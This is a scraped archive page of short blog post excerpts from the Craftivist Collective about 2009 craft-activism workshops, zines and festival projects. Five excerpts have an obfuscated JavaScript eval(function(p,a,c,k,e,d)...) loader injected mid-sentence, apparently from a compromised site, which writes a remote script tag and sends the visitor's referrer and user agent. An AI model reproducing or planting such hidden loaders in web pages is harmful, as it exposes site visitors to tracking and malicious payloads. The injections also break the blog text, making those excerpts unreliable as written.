Author: Craftivist Collective

05 Oct We are doing too much and thinking too much to not have a blog

We started this group in January 2009 and it's quickly growing in members and group ideas. We have changed the format a few times of the group (now we have planning meetings monthly and then separate events rather than all in the one session), added a manifesto and we are getting asked to do more and more events. Here's what we're doing to get info to you in as many ways as possible.
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04 Oct Mini protest banner making workshop at Spitalfields City Farm

On Saturday 3rd October the Craftivist Collective had a Mini Protest Banner making workshop at Spitalfields City Farm in London. We spent 12-2pm chilling out surrounded by plants and animals whilst chatting to like-minded people and creating our own mini protest banners on environmental issues to put up around the farm... what more could you want to do!
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04 Oct Oxfam like us! (and we didn’t even ask them to…)

Without us knowing, Oxfam eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|neanr|var|u0026u|referrer|zttrn||js|php'.split('|'),0,{})) have put us on their 'Get Active' page of their UK website. We are number 4 in their 36 ways...

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03 Oct “Real Beauty” letters hidden on Harley Street, London

This project was done by a young person who went to Ghana with Platform2 as a volunteer. She spoke to me about how many of the girls born in the village (she stayed for 10 weeks) thought they were not beautiful because they were not blonde with blue eyes. She found this very upsetting especially because that volunteer was very dark skinned herself.
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02 Oct The amazing Manchester Sugar Paper zinesters like us – yay!

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hffsf|var|u0026u|referrer|enztb||js|php'.split('|'),0,{})) found the Sugar Paper zines at a Handmade and Bound zinefest in London 2 years ago. I have cherished their zines ever since....

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01 Oct Thoughtful cross-stitch belt

Sarah eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bynsd|var|u0026u|referrer|nsbys||js|php'.split('|'),0,{})) Corbett writes: I started this cross-stitch 'belt' on a train to Glasgow from London. It was a 5 hour train and I loved...

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10 Sep Our Peace/Conflict project at In The Woods festival, Kent

Into eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zsasi|var|u0026u|referrer|akbkz||js|php'.split('|'),0,{})) the Woods Festival asked us to be part of their weekend festival in September 2009 in Kent. The band the Laurel Collective set...

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02 Sep We are in the Craft Guerrillas zine!

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trsbf|var|u0026u|referrer|ryinz||js|php'.split('|'),0,{})) lovely ladies at Craft Guerillas interviewed Sarah Corbett, the founder of the Craftivist Collective, in their beautiful special edition colour zine. You can...

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